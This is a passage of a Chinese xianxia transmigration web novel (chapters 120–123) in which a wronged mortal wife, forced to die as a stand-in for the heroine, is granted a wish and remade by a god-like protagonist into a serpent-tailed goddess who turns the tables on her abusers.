因此，这样牛逼的仙帝谢承，自然被那位修士大能托付了拯救世界的重任，当仁不让地踏上了寻找神女的路途。 但仙帝的救世大业还未走完就中道崩殂，因为在路过某个凡人小镇时，他心念一动，发现自己身上那一道沉寂了千万年的宿世姻缘突然有了指向。 他好奇走上前去，发现了身上缠绕着魔气的孤女宋茵茵，并将宋茵茵误认为了魔族。 按理来说，仙帝执掌一方天道与人道，应当对人间的一切都秉公处理，对所有犯到他眼前的魔族都应手起刀落才对。可想到女主身上的姻缘线，他又决定再给女主一个向善的机会。 因此他不但没有杀了女主，反而将女主带回昆仑，收她为徒，悉心教导了起来，并刻意营造出了与世隔绝的氛围，免除女主“受到血脉和外界的糟糕影响”。 当然，按照更正常的道理、或者说是按照颜辞云认为的道理来讲，作为仙帝的谢承，他不应该看不出那些魔气只是因为宋茵茵与真正的魔族纠缠过深才附着上去的东西，而非出自宋茵茵自身。 并且，他也不应该因为找到了自己的宿舍姻缘就放下寻找神女这件事，更不该单方面地营造出一个纯白无暇的环境来引导女主“向善”。 就是说，教育和找人这两件事也不冲突吧？ 为什么一定要为了一件事放弃另一件事？ 你可是仙帝欸，又不是现代那些一起床就想睡觉的低能量人群！ 总之，眼瞎心还盲的仙帝男主就是这样做了。 可之后，很快的，这样的日子没过多少年，恶毒女配秦如霜，竟然以救世神女的身份出现在了他的面前。 她偷偷抢走了女主与男主的宿世缘分——即一滴多年前男主留给女主的心头血，之后，她一边百般挑拨男女主的关系，营造出女主勾结魔族意图灭世的假象，一边有意无意地向男主透漏她的悲惨过往，告诉男主他因收徒女主放弃寻找神女这件事，给她造成了多大伤害和苦难。 于是男主愧疚之下，对女主越发苛责，甚至到了对女主动辄喊打喊杀的地步。 而任务者撞上的，正是女主又又又又又一次被恶毒女二陷害，让男主误以为女主出于嫉妒想要谋害女二性命，于是男主出于拯救世界的大义，含泪痛斩杀女主这个女魔头的情节。 按理来说，这个情节跟任务者这个小透明没有半点关系，可谁叫她有一个小机灵鬼老公呢？ 因此，那个冤种老公脑袋一拍想出了一个绝妙的主义：帮助女主假死，引导女二自爆，让眼瞎心盲的男主看清真相！ 可男主谢承可是堂堂仙帝，普通的假死手段怎么骗得过他？ 无妨，谢承虽贵为仙帝，可他眼瞎心盲啊！只要营造出一个大差不差的氛围，用一个大差不差的人来替代女主去死，之后的事谢承会自己脑补的！ 而至于那个替女主去死的人是谁？ 这还用说吗？ 当然是凡女李寻真，如今的任务者9122！ 并且，更可怕的是，这位深情男配帝昭，竟完全不觉得自己的做法有什么问题。 他甚至都不觉得自己在谋害李寻真的性命。 因为在他看来，凡女李寻真死了也没事。 李寻真又不是那些魂魄浸染了天地灵气、与天地因果都有巨大牵扯的修士，她好复活得很，随便找点天才地宝奇门法阵就能让她死而复生了。 既然如此，她为什么不能大度一点、勇敢一点，为了女主日后的幸福去黄泉路上走一遭呢？ 反正她死了还能复活，哪怕真没法复活，十八年后他再找到她的转世，把她再接回魔宫不就好了？ 只要走过一条小小歧途，大家就能达成完美结局。 而付出的代价，仅仅是李寻真随手就能完成的举手之劳！ 这样的小事，李寻真怎么有脸拒绝？她还是不是他的妻子了？！ 任务者9122听着这段无耻言论，几乎是头晕目眩、眼冒金星：我￥%&#@你@#￥&*！ 淦！ 心疼男人何止倒霉一辈子？那简直是倒霉十八辈子！ 养条狗它还会冲你摇尾巴呢，养个男人却要赔上自己的性命。 真正的大冤种哪里是什么深情男配，是穿越者李寻真，是她任务者9122啊！ 还心疼男人？心疼心疼你自己吧！ 该说不说，这一刻，从天崩开局到天崩过度再以天崩收尾的任务者9122，在被深情男配强行易容成女主模样，并且因她的不配合而下狠手毁掉了她的声带，最后甩手离开，把她独自丢在寝宫里时，她呆呆坐在寝宫榻上，几乎是万念俱灰。 她想，她可能真的是那种很没用的任务者吧。 否则的话，怎么别的任务者就能吃香喝辣，轻易把旁人玩弄于股掌之间，随随便便就能完成任务挣到积分，面对任何难题都迎刃而解，轻松进入滚雪球的阶段，成功积累足够的悔恨值获得新身体新身份，而她却过得如此艰难呢？ 就连新手关的任务都没有半点头绪，甚至还走到了这一步…… 她想，她或许真的不适合干这一行、真的没有为自己挣一条命的能力吧。 但，就算这样，她宁可自己了结这条性命，都不想参与那几个贱人的爱情play！ 任务者9122撑起身子，环首四顾，而后越发心如死灰。 因为她发现，那深情男配竟然连她有可能会寻死这一点都料到了，早早收走了寝殿里的所有尖锐之物，甚至是瓷器制品。 至于“撞柱而亡”……她现在的身体重伤未愈，连坐起来都这般费劲，又哪里支撑得了她去撞柱？ 难道……难道她真的没有办法了吗？ 难道她只能用自己微不足道的死亡和性命，去成全那几个贱人男女的爱情play吗？！ 这一刻，一股强烈的不甘和愤怒在她胸口翻涌，让本就气力不足的她几乎要晕倒在榻上。 可她死死咬牙，撑着一口气，不愿意就这样晕过去、就这样“按部就班”地被男主谢承一剑刺死。 哪怕她如今顶着一张女主的脸，还说不出半句为自己辩解的话语，是真正的百口莫辩，可她还是不愿意就此认输，不愿意放弃那最后一份渺茫的希望。 ——万一呢？ 她想。 ——万一谢承从眼神中认出了自己不是女主，万一谢承因她的无声恳求放过了她，万一万一，她活下来了呢？！ 为了这万分之一的希望，任务者苦苦支撑着不肯晕过去。 可很快的，她又在这样的希望中彻底失望了。 因为那位仙帝谢承，不愧是眼瞎心盲的代表。 他闯入这个空空的寝宫后，完全没有怀疑向来在男配地盘上前呼后拥的她为什么今天身边一个侍女和侍卫都没有，也完全没有怀疑明明前些天还跟他花前月下的女人此刻怎么突然重伤卧床，更没有怀疑他面前的女人为何身上没有半点修为。 他只是自顾自地痛苦倾诉他这些年来对女主的爱护，失望于女主数百年来都扭转不过来的“低劣本性”，愤怒于女主竟然为了一己之私想要谋害神女的恶毒！ 谢承：“我对你太失望了，宋茵茵，或许我从一开始就不该遇见你！” 任务者9122：我对你这种蠢男人更失望！就你还配叫仙帝？ 明白自己可能真的逃不过这一次劫难了，任务者9122愤怒近乎怨毒地看着面前的谢承，像是要把这个即将杀害自己性命的男人的脸牢牢记下，带入黄泉。 仙帝谢承在看到任务者这样的目光后，先是一怔，而是像是被刺痛一般勃然大怒，胸膛剧烈起伏，握剑的手也微微颤抖起来。 “宋茵茵，没想到事到如今，你竟然还没有半点悔改之意？！你竟然在恨我？你竟然敢恨我？对秦姑娘做出那样恶毒之事的你有什么脸面恨我？！” 任务者冷笑一声，闭上了眼，再懒得多看这些癫公癫婆一眼，以最后的平静迎接自己的死亡。 但，也正是在这一刻，任务者听到了一个如同幻觉一样的声音。 【你想要改变这一切吗？】 “当然想！”任务者下意识回答。 【如果我说你可以许下一个愿望，你会想要许什么愿望？】 任务者终于察觉到了不对。 她蓦然睁开眼，骇然发现身前那上一秒还喋喋不休大放厥词的贱男人，这一刻竟如同一副定格画一样，被冻结在了原地，只剩下脸上生动得让人恶心的表情，和他提剑欲刺未刺的手。 甚至不仅是这个仙帝谢承。 还有那一阵挟着花瓣飘入室内的风，还有那斜斜在地面摇曳的花影，还有在半空中飞扬的金色风铃！ 一切的一切，都被定格了。 就好像时间在这一刻被冻结，而她则是这截冰面下唯一的游鱼！ 这一刻，任务者的心脏怦怦狂跳起来。 她发现，自己很可能遇上了一个不可思议的、闻所未闻的天大机缘！ 且不提这个机缘是真是假、是蜜糖还是毒药，但不可否认的是，这是如今一无所有身处绝境的她，唯一能够抓紧的扭转命运的机会。 所以—— 她一定会抓住！ “什么愿望……都可以吗？” 【我会酌情考虑。】 任务者眼中精光一闪。 假若这个声音的回答是“什么愿望都可以”，那么任务者恐怕还不会对这个自救机会抱有太大期待，因为这个许愿机会的真假和程度会变得有很大水分。 可对方说的却是“酌情考虑”……这无疑代表着，这个声音，或许真的能为她做到一些不可思议之事。 一些……能够真正助她扭转命运的事。 所以她一定、一定会抓住这个机会！ “我的愿望……我的愿望是——” 任务者用力咬了咬唇，咬紧自己颤抖的声音。 “我要成为……那个真正的救世神女！我要成为那个真正的女娲后人！！” 她要摆脱这微不足道的凡女之身。 她要舍弃这永远都在挣扎都在接受的受害者身份！ 她要成为那个所有人——不论是仙帝还是魔族，不管是大能还是妖魔，都要统统向她低头、俯首恳求她的“救世神女”！ 她要成为人上人！ 她要站在天外天上！ 她要这世上，再没有人能鄙夷她、蔑视她，再没有人能随手将她搓扁揉圆，把她的性命和命运随意抛掷，不顾她的意愿把她随意塞进别人的故事，充当丑角！ 她要这人间的万事万物，都向她低头，哪怕他们违背心意，哪怕他们万分不甘，甚至面容扭曲、四肢尽断、前途尽毁、家破人亡，也要跪趴着在她面前，费心费力地讨好她、恳求她、仰望她、崇拜她！ 她也要成为那个对旁人施恶后，还会有千万人前赴后继地为她辩解为她发声，说她的“恶”是“爱”，甚至高声指责受害者才是那个不知好歹天生贱命的人上人！ ——这世上的人上人那么多，为什么不能多她一个？ ——凭什么她永远只能逆来顺受？！ 那个声音沉默了一瞬间。 而在那短暂又无尽漫长的一瞬间过后，那个声音似乎叹息着，轻声应下。 【如你所愿。】 于是，下一瞬间，世界改变。 120-130 第121章 捏人 成败在此一举！ 事情终究还是走到了这一步。 即——跳入他人的利益规则里，在一个好不利于自己的制度陷阱中挣扎求生，试图以用强权和暴力夺回属于自己的正义。 这也是颜辞云一直想要避免陷入的境地。 因为，想一想吧，如果说迟来的正义非正义，那么以更强一级的特权来压倒弱一级的特权、以更庞大的暴力去碾碎弱一级的暴力……这样的事，又能够称作正义吗？ 可如果不这样做，又该用什么方式取回正义？ 颜辞云没有答案。 并且她还知道，未经他人苦，莫劝他人善。 所以，当听到任务者9122那充满怨怼的愿望时，颜辞云只是叹息一声，答应了下来。 【如你所愿。】 任务者9122的愿望非常简单，拆解一下可以浓缩为四个字： 我要力量！ 如果说任务者9122许愿说“我要正义”的话，颜辞云可能反而不知道该做到什么地步才算“正义”。 可当这个愿望为“力量”时，那就反而简单了许多许多了。 颜辞云甚至都不需要过深的思考，脑中就瞬间冒出了两个方案。 其中第一个方案是，给予任务者9122一个【神格】。 当使用系统的制作台时，消耗9个【神力碎片】，可合成一个【空白神格】，之后，再对这个空白神格注入相应力量后可形成对应的专属神格。 换而言之，颜辞云想要一个什么神，就能捏出个什么神。 而一个【空白神格】自带的神力大约有100单位的炁，放在胡拉坎小世界里差不多能开启一场诸神黄昏了，而放在这个仙侠虐恋的世界里也是不遑多让，让任务者当个神女还是绰绰有余的。 因此，颜辞云切换到本体，从储物箱里翻出了自己从胡拉坎小世界回来后随手合成的第一个也是唯一一个神格，放进马甲共享的物品栏里，充当备用。 而至于颜辞云想到的第二个方案，也非常简单，那就是使用她的技能——【改造】。 早在点出【改造】这个技能的第一时间，颜辞云就试过了这个能力，并留下感想：技能非常神奇，爱来自疯狂的科学屠夫。 不过，由于颜辞云手工水平实在过烂，不管是木雕还是泥塑做出的成品都惨不忍睹，比如说那头被丢到岩浆池的三头犬就是最大受害者。 所以颜辞云心虚地暂时搁置了这个能力。 可这段时间以来，随着颜辞云的发奋图强，她的手工水平突飞猛进，木雕的水平还不太好说，但泥塑却自认大有长进。 因此，在听到任务者的愿望后，颜辞云脑袋里第一时间就冒出了如下等式： 想要成为神女/女娲后人=想要一个可切换的人身蛇尾的新外型=她可以用【改造】技能捏出这个新外型！ 那、那就…… 试试？ 颜辞云摩拳擦掌，蠢蠢欲动，用【支配】能力将这座宫殿凝固，把宫内对持的宫外偷听的统统变成人机，接着就在任务者面前降落下来，仔细打量任务者、不，打量李寻真的模样。 李寻真是一名凡女，年幼时为了养活帝昭和宋茵茵这两个挂件，风里来雨里去，吃了许多苦头。 虽然这些病痛在她成为魔族少主的妻子的这几百年里被抹去了，可那些病痛留下的痕迹却一直存在。 比如说因营养不良而1米5出头的个子，一双蒲扇大的巴掌和粗大得有些扭曲的指节，以及脸上、手臂、腿部因暴晒而形成的难以祛除的色斑，肩上和手上厚重得没法脱去的老茧，等。 这是一具因劳作而留下过无法磨灭的痕迹的身体。 倘若那个帝昭又或宋茵茵还有点儿良心，两人就该像对待母亲一样敬重她、爱戴她，保护她，不允许任何人看轻她。 只可惜他们并没有这个东西，所以在旁人的眼里，数百年富贵荣华都养不回细滑白嫩的李寻真，无疑是天生的贱命一条。 颜辞云仔细打量片刻，而后拿出一块泥土，打开系统的备忘录，一边在手上捏着小泥人、给自己接下来的大变活人行动打样，一边思考和记录自己这次捏人的要点。 首先，李寻真的身体太矮小了。 人们常说的“气势”，其实绝大部分情况下都是由身高带来的压迫感。 又矮又小还能让人感到“气势”的人，实乃天赋异禀，少之又少。 李寻真显然没有这份天赋，所以为她拉高她的身形，无疑是颜辞云捏人的第一要务。 但，多高合适呢？ 颜辞云的目光在殿内的谢承和殿外的帝昭、宋茵茵三人身上扫了一圈，取了一个平均值： 人形1米7，半蛇形3米6吧。 做蛇嘛，尾巴要长点才好看。 颜辞云对这件事很有经验。 其次，捏人时要使用什么材料？ 给一个人凭空增加20cm的高度，蛇形更是增加到3米多长，她需要考虑的第一件事就是“肉”从哪儿来。 当初捏三头犬时，颜辞云是把三只鬣狗放在一起捏的，这才捏出了一个大家伙，可如今她要捏的是人，她总不能去杀几个人来获得缺失的“肉”吧？ 所以，要换一条路子。 并且，还可以将这条路结合任务者想要的“力量”一块儿思考。 颜辞云第一个想到的，是这方小世界里的一样特色产物，肉灵芝。 在这种仙侠虐恋的世界里，肉灵芝是一样灵气含量极高、食之如肉，服之不老延年的宝贝。 颜辞云去魔族的宝库里转了一圈，找到了这传说中的肉灵芝，好奇咬了一口，发现其实就是普通的蘑菇味，并且它的量还极少，完全填不满“肉”的缺口。 颜辞云盯着这肉灵芝思考了一下，思维发散间，很快就从这些肉灵芝想到自己树屋活动室里那些吃不完的红绿蓝三色蘑菇，于是她干脆把那些没人吃的蘑菇都拿了出来，挑挑拣拣一番，凑了一百来斤，不，凑了三百来斤，准备一会儿和肉灵芝一块儿揉成泥，填进“肉”的缺口里。 毕竟，既然要换，那就换彻底一点，把一身血肉全都换了吧。 省的换到一半时出现排异反应。 顺便把她地窖里囤积的蘑菇清空一下。 说来也是可惜，怎么她一家子人猫鸟都是肉食动物呢？明明蘑菇汤也挺好喝的…… 总之，“肉”的缺口补上了，接下来的是骨骼和皮肤。 凡人的骨骼强度，和淬炼过血肉的修士的骨骼强度，是万万无法相比的。 反正人体的骨骼也不算多，颜辞云便把这些有些骨质疏松的凡人之骨全部抽出，一根一根地从头捏起。 而至于材料嘛…… 颜辞云又去魔族宝库转了一圈，把那些所谓的天才地宝神兵利器全都捏了一遍，看着上头那一个个清晰的手指印，心中十分嫌弃。 就这也叫神兵利器呀？ 如果它们是被本体捏成这样的，她也就不说什么了，可站在这里的分明只是一个神力碎片、一个分身马甲而已啊！ 脆成这样也是很让人无语了。 颜辞云干脆又让本体去倒腾仓库，把那些不知道有什么用、完全是出于囤积癖才收集起来的材料都摆了出来。 五色琉璃？ 不可。 五彩的骨头有点儿猎奇，而且琉璃太脆，过。 翡翠？ 不可。 绿油油的不好看。虽然颜辞云可以给翡翠染色，可关键是，翡翠是她平时随手从食铁兽的窝里打劫的，量实在不够多。拿来做牙齿倒是可以。 那么，钻石？ 这个似乎挺好。 但她还要留着做钻石镐钻石斧呢，她也没有余粮啊，过。 还有羊脂白玉……对了！羊脂白玉！ 这个就很合适。 硬度不低，韧性和耐磨性很强，色泽也不错，并且刚好是她箱子里储量最多的玉石！ 上次她为了修建地府而跑去角鹰的地盘挖矿时，就顺手收集了许多，如今正好用上！ 颜辞云迅速通过物品栏倒腾出几百来斤的羊脂白玉，将它们捏成了人骨的模样，摆在地上打量。 思考了一会儿后，她捏了一套原模原样的骨头，只不过这一套骨头的胯部以下全都被颜辞云换成了蛇骨。 “把两个形态捏在一个身体里，这就能实现形态转换了！” 但是，两个形态要怎么塞进一个身体里？ 暂时没有头绪。 不过，先做再说！ 颜辞云继续捏人。 先是把“肉”再备一些，接着拿出仓库里吃灰的【血猴力筋】——是的，颜辞云这回甚至懒得去翻那所谓的魔族宝库了。 之后，再把打黑水沼泽水螃蟹出的材料【霸王甲】捏碎，捏成鳞片的模样，一片一片贴上蛇尾。 而为了符合力学，颜辞云甚至还变成了蛇形，对照着自己尾巴上的鳞片，一片片摆弄。 接下来，颜辞云洗去蜘蛛女王所吐蛛丝的粘性后作成皮肤，梳下角鹰的【玄色雕羽】作为长发，取来黑曜石作为眼珠。 最后，她小心地捏出鼻峰与山根，勾出唇形，将黑曜石眼珠放入眼窝，再一根一根画上眉毛和眼睫。 就这样，经过一晚上的时间，颜辞云用【改造】的能力，以神话传说中的“女娲”为模板，把一具人类之躯从头到尾、从血肉到骨骼，统统换了一遍。 甚至她还把一具身体“改”出了两具身体！ 而如今，最后的最后，颜辞云想要完成自己人生中的第一件杰作，还有一件事要做： 那就是把这两具身体重新捏成一具，好让使用者可以在人形和半蛇形态之间自由切换！ 可是，要怎么做呢？ 是把两具身体强行揉在一块儿吗？ 这肯定行不通。 三头犬的教训摆在那儿呢！ 那……再加上空白神格呢？ 空白神格的特性，是注入什么力量，就能生出对应的神力、形成对应的神格。 所以，假如颜辞云注入了【可以在两个形态间自由切换】的神力，再以这样的神格为核心融合两具身体，这是否又行得通？ 颜辞云稍加思索，感觉这件事的成功率还是蛮大的，毕竟所谓的“神力”，就是这么一种心想事成的神奇东西。 可是…… 【可以在两个形态间自由切换】的神力又要从哪里来？ 颜辞云头皮开始发麻。 她原地转了两圈，感觉自己这一刻实在是满头官司、满头问号——倒不是她想不到哪个属性的神力符合这个特点，而是她觉得哪个属性的神力好像都能符合形态转换这个特点！ 平时人常说，水无常形。 可地、火、金、木，这些力量，莫非又有常形？ 因此，颜辞云搞定了前头的99步，偏偏卡在了最后一步，冥思苦想了一整晚。 眼见窗外天都要亮了，而仙帝男主和魔族少主男配已经待在这座宫殿一晚上没动静了，想来天亮后一定会有更多人来查看的。 虽然颜辞云有定住所有魔族人的实力，但闹出太大动静却非她所愿。 时不我待。 颜辞云思来想去，干脆循着直觉，咬破指尖，向空白神格弹出一滴血： 既然这具蛇形的身体本就是参照着她的模样来的，那干脆就以她的血为一切的基点，捏合这两具身体吧！ 成败在此一举！ “输了就只能从头再捏……” 在颜辞云有些紧张的嘀咕声和注视下，飘浮在半空中的空白神格蓦地闪烁出金光，似乎被什么唤醒了一般。 紧接着，它在殿内盘旋了一圈，像是在寻找什么，蓦地定格后，乳燕投林般飞向地上半人半蛇的身体。 “失败了吗……咦？” 颜辞云目光一顿，却见到那金色神格，在没入半蛇形身体的下一秒，地上那具人类身体竟也消失不见了！ 颜辞云先是一愣，而后一笑。 “好，好！”颜辞云忍不住心中激动，“成了！” 她人生中的第一个作品——三头犬忘掉——终于完成了！ 第122章 急转直下 一声不合时宜的…… 至此，窗外的天色已经大亮。 对颜辞云来说，她是辛苦捏人捏了一整个晚上，可对于这座宫殿内外的人们来说，他们不过是一个晃神，甚至都没有闭过眼睛，时间就从深夜来到天明。 而原本这座充满了仙帝谢承痛苦咆哮和指责、剑拔弩张得下一秒就要见血的宫殿里，也是蓦地沉寂下来，变成了一片死寂，令人不安极了。 这一刻，在宫殿外某个隐蔽的亭台处悄然等待结局的女主宋茵茵和男配帝昭，也不由得心下慌张起来，感到这起本该万无一失的事件，似乎在什么地方悄然发生了变故： 为什么刚刚还是深夜，如今却已经天亮了？ 为什么宫殿深处一点儿血腥气也没有？谢承的那一剑到底刺下去了吗？ 为什么李寻真一点儿声音也没有？虽然他们为了确保计划的顺利进行已经提前把她给毒哑了，可哪怕是哑巴也该有声音才对啊！ 明明此时此刻，他们应该早就听到李寻真的惨叫，听到谢承的痛悔哭泣，然后再走进殿中，趁着谢承惊疑痛悔心神动摇之际，向他说明真相，用事实告诉他，两个有情人如果不够相信对方的话，会在旁人的诬陷挑拨下造成什么样的惨痛结果。 接着，在谢承大彻大悟之际，宋茵茵会善良地与谢承冰释前嫌，解除秦如霜这个恶毒女人给他们制造的误会，最终让坏人受到惩戒，让有情人终成眷属，达成一个善恶有报的完美结局。 可如今这些……又是怎么回事？ ——在他们所不知道的夜晚里，那座寝殿内到底发生了什么？ 帝昭和宋茵茵惊疑不定地对视了一眼，神色各异，感到有什么东西脱离了他们的掌控，向着无法预测的方向飞驰而去。 心系谢承的宋茵茵率先坐不住了。 她迅速起身，向寝殿飞奔而去，连原本的铺垫好的计划也顾不上了，只想要确定谢承的安危。 而一旁的帝昭则不知道为什么，神色有些恍惚，但在看到宋茵茵的背影后，还是立即回神，紧随宋茵茵身后。 可让两人万万没想到的是，就在他们来到李寻真寝殿门口的那一刻，门被人从里头打开了，紧接着，谢承神色复杂地从殿内走出来，神色恍惚间，很有些心不在焉。 宋茵茵脚步一顿： 这、这是怎么了？ 昨晚的计划算是成功了，还是失败了？ 现在的她，是按照计划上前给师尊一个惊喜和惊吓，还是……再等等？ 宋茵茵踌躇不前。 而就是在她犹豫的这一秒，谢承抬头向她看了过来。 当看到宋茵茵这张上一秒还在殿内下一秒又出现在了殿外时，谢承的表情竟然十分平静，就像是早有预料一般，只不过神色有些古怪，像是期待着什么，又像是恐惧着什么。 这让宋茵茵的心一下子提了起来。 “师、师尊，我……” 谢承平静打断，说：“茵茵，我且问你，是不是你刻意将李姑娘变成你的模样，让她在殿内等我？是不是你刻意毒哑了李姑娘的嗓子，让她无法为她自己辩解？” 宋茵茵身形一晃，如同受到一记重击，含泪说道：“师尊，你就是这般想我的吗？先是秦如霜，后是李姐姐……是不是谁的话你都会相信，唯独不肯信我的话？” 谢承仿佛有些不忍，闭上眼道：“你莫要顾左右而言他，我问你，那些事是不是都是你做的？” 宋茵茵赌气道：“是我做的怎样？不是我做的又怎样？！” 谢承睁眼怒视，厉声斥道：“我从前便是这般教你的吗？你明知我昨日盛怒，却还是将李姑娘一介凡人推出来、扮作你的模样，又将我引了过来，你敢说你这般作为不是存了让李姑娘带你受过的心思？你敢说你这般作为不是在刻意送李姑娘去死？！” 帝昭虽然暗喜于宋茵茵与谢承之间的裂痕扩大，可到底不忍宋茵茵被人如此误解，于是为她辩解道：“仙帝怎可如此误会茵茵？难道仙帝这么多年都不了解茵茵的为人吗？你这样误解茵茵，可知茵茵有多心碎？事实上这件事是我的主意，仙帝你要怪就怪我吧！” 谢承没有看他。 宋茵茵也没有。 她只是拔高了声音，不可置信道：“‘代我受过’？事到如今，师尊你仍是相信秦如霜那个女人，认为我害了她、认为我有‘过’吗？！可倘若李姐姐真的在昨晚出了事，罪魁祸首难道不正是师尊你自己吗？ “是因为师尊你偏听偏信，为了旁人的一面之词，认定你的徒儿是一个卑鄙小人！是因为师尊你滥用私刑，不顾事实，想要用你徒儿的性命去讨好一个女人！ “我除了将李姐姐变作我的模样，我还做了什么？李姐姐仍住在她的宫殿里，穿着她的衣裳。她身上没有半点修为，就连她半年前受的那一剑的伤势，我也未曾有过半点伪装。 “可师尊你为何发现不了？因为你空有一双眼睛，却看不到事实与真相，你空有一颗脑袋，却从来不肯用它去思考！所以如果李姐姐真的出了事，那也不是我的错，而是师尊你眼瞎心盲、冥顽不灵、刚愎自用——” 啪！ 宋茵茵带着怨愤的指控，以谢承一记暴怒的掌掴作为结束。 宋茵茵捂着脸，不可置信地看着谢承，半晌回不过神来。 一旁的帝昭惊怒不已，连忙将宋茵茵护在身后，不赞同地向谢承说道：“仙帝，茵茵她年纪小，你有什么话同她好好说就是，何必动手动脚？更何况仙帝你并非只是莹莹的师尊，更是她选定的夫君！ “而正因为仙帝你总是如此、总是不肯通茵茵好好说话，茵茵她才会出此下策，想要借此事同你好好说道说道……对了，昨晚殿内发生了什么？真儿她现在如何？” 在对宋茵茵的百般维护中，帝昭大发慈悲地分出了一点儿心神给李寻真。 可谢承依然没有理会他。 谢承定定看着帝昭身后的宋茵茵，表情比她更为失望：“你就是这样看待我的？眼瞎心盲、冥顽不灵、刚愎自用？我悉心教导你、爱护你，这么多年过去，换来的就是这样的几个词吗？” “难道不是吗？！”宋茵茵的肩膀都在发抖，声音越发高了，“你说你爱护我，可秦如霜陷害我谋夺了她的东西的时候，你甚至都没想过我有没有做过这件事，便一口认定是我的错，逼我在众人面前向她认错，你便是这样爱护我的吗？ “秦如霜陷害了我那么多次，我同你辩解了那么多次，你有哪一次信过我、坚定地站在我这一边？你有哪一次对众人说过，‘我的徒儿不是这样的人，这些事绝不是她做的’？没有，没有！一次都没有！你只会让我忍、让我让着她！ “对，秦如霜幼时的确过得苦，可这与我有什么关系？是我造成的吗？是我害得她那样苦吗？是我赖着你不许你出门寻她吗？凭什么你补偿她时要我处处忍让、时时低头？是我欠的她吗？ “这样的你，难道不是眼瞎心盲，难道不是冥顽不灵、刚愎自用吗？！” 谢承涩声道：“我……那些事……的确是我不对，可那时候我以为秦姑娘是救世神女，所以不仅是你我，就连全天下人都欠她性命……所以，所以倘若她就是看茵茵你不顺眼，你低头就是了，等时间久了，她自然就觉得无趣，就不会再为难你了……” “所以你从一开始就知道是秦如霜在刻意为难我？所以你一开始就知道我从来没做过哪些事？！” 或许惊怒过头后，人反而容易失去对情绪的表达能力。 这一刻，宋茵茵竟表现得出乎意料的冷静，问道：“那这些年来，你对我的厌恶、对我的喊打喊杀，是因为谎话说多了你也当了真，认为我真的如同秦如霜指控的那样，是个没脸没皮的恶毒小人？还是因为你对秦如霜真的生了私心？” 谢承立即回道：“曾经的那些事是我不对，是我昏了头，以为我表现得厌了你就不会再让秦姑娘为难你了，昨夜的事也是我气昏了头，以为茵茵你真的想要谋害神女……但无论如何，我可以发誓，我对秦姑娘绝无半分私心！” “真的吗？” “千真万确！” 这一刻，宋茵茵破涕为笑。 一旁的帝昭也是松了口气，心中除了酸涩遗憾之外，又有一种尘埃落定的坦然。 他想，事到如今，茵茵与仙帝谢承的误会，应当就是彻底解开了，接下来，只要剥离秦如霜神女的身份，绝了仙帝对秦如霜的最后一分情谊，再杀掉这个百般为难过茵茵的恶毒女人，这件事应当就算是彻底结束了。 而到了那时，他也能用余生去好好弥补真儿了。 不过，话说回来，昨夜究竟发生了什么？为什么仙帝从殿内出来后，态度变化如此之大？ 还有真儿，她如今又是怎样？ 正想着，下一秒，帝昭便听到仙帝谢承又开口问道： “之前的一切，全都是我的错，茵茵你如何怨我恨我，我都可以接受，但如今还有一事，我还需再向你确认。” 在确定了自己心悦的人真的没有与自己离过心，而之前的一切都只是单纯因他心怀天下、对神女有愧后，宋茵茵的心情非常好，娇声笑道：“还有什么事？” 谢承道：“你昨夜刻意将李姑娘扮成你的模样，是否是因为知道我昨晚盛怒之下想要动手、是否是对李姑娘存了刻意谋害之心？” 听到“李姑娘”这个词，宋茵茵脸上的笑容淡了些。 帝昭想不通谢承作为堂堂仙帝，为何会对一个凡人的性命如此在意，想来是想要以此确定茵茵她是否真的德行有亏吧？ 又或者是因为李寻真是他魔族少主的妻子，而仙帝不愿意与魔族开战？ 总之，帝昭认为这件事自己有责任解释，于是再一次跳了出来，打圆场道：“仙帝不必多想，这件事并不是茵茵的过错，而从头到尾都是我的主意，之前茵茵认下此事，只是她与你赌气罢了，哪怕真儿真的因此出了什么事，我作为她的夫君，也不会过多追究，想来这一切都是真儿的命，所以仙帝你大可不必放在心上，更不必自责。” 帝昭在一旁的长篇大论谁都没听。 或者说，他向来如此，在一对愿打愿挨的情侣之间跳来跳去，如跳梁小丑一般，看不清自己的身份，也看不清他只是这对情侣用来调情的工具人，有事就抓住他用一用，没事就丢下懒得理会。 就像是他对李寻真时一样。 果然，这一次，谢承依然像是什么都没有听到，什么都没有看到一样，只看着宋茵茵的眼睛，执意等待她的回答。 宋茵茵磨蹭了一下，并不很想回答，可最后，在谢承的逼视下，到底还是嘟着嘴，撒娇道：“人家只是跟李姐姐开个玩笑而已啦。而且李姐姐是一介凡人，半年前受了师尊你一剑，本就寿数将近，已经在考虑转世的事了。 “而恰好，师尊你这个大笨蛋又误解了我，那我让本就要转世的李姐姐为我们多做点事又算什么？大不了等李姐姐转世后，我们再多多补偿她就好……这样一点小事，也值得师尊你这样咄咄逼人吗？！” 谢承身形晃了晃：“所以……所以茵茵你是真的、真的想要谋害李姑娘？！” 宋茵茵这时也有些生气了：“这怎么能叫做谋害？都说了，我会补偿她，所以这只能叫做交易罢了，等到下一世，我必会——” 宋茵茵的话未能说尽。 因为下一秒，谢承的剑已经刺进了她的胸口。 宋茵茵表情空白，半晌后，才不可置信地抬头看向谢承。 “师、师尊？为什么……” 一声不合时宜的轻笑响起。 “为什么？很简单——因为你想要杀我。” “可我，却是这世上唯一不能死的人。” 像是熟悉又像是陌生的声音。 像是熟悉又像是陌生的脸。 这一刻，在宋茵茵和帝昭瞠目结舌的注视下，一个模样大变却又依稀能看出她原本面貌的美人，正摆动着长长的蛇尾，从殿内缓缓游出。 艳阳落在她如玉一样的皮肤上，映衬着她朱红的唇，乌木的发，也映衬着那张仿佛由造物主精心捏成的独一无二的面容。 她缓缓扫视在场众人，目光如蜻蜓点水般从宋茵茵胸口的血痕掠过，最后落在不可置信却又惊艳无比的帝昭脸上，轻轻一笑，明艳的脸上带着无尽的轻蔑和冷酷恶意。 “帝昭，你可知谋害神女，是什么样的罪过？” 第123章 端倪 这正常吗？ 原来，当人有高贵的身份、强大的力量和美丽的面容以上三项中的任意两项后，世界对她而言真的会变成简单模式。 这就像是玩一个网游。 那些什么都没有的人，或者什么都只有一点点的人，叫平民玩家，在这个风起云涌的游戏中了无姓名，从加入游戏到退出游戏，整个过程都悄然无声。 而仅有一样的人，叫高玩，有着属于他们自己的外号与传说，稍稍操作一番后，也能够搅动世界的风云。 至于有着两样的人，那就不得了了，那叫老板。那些所谓的高玩，说到底也只是老板的打工仔，而对于游戏风云什么的，老板基本是不屑参与、也不屑下场的。 最后，是三样俱全的人。 这样的人，叫开挂玩家，或者也可以叫世界管理员。 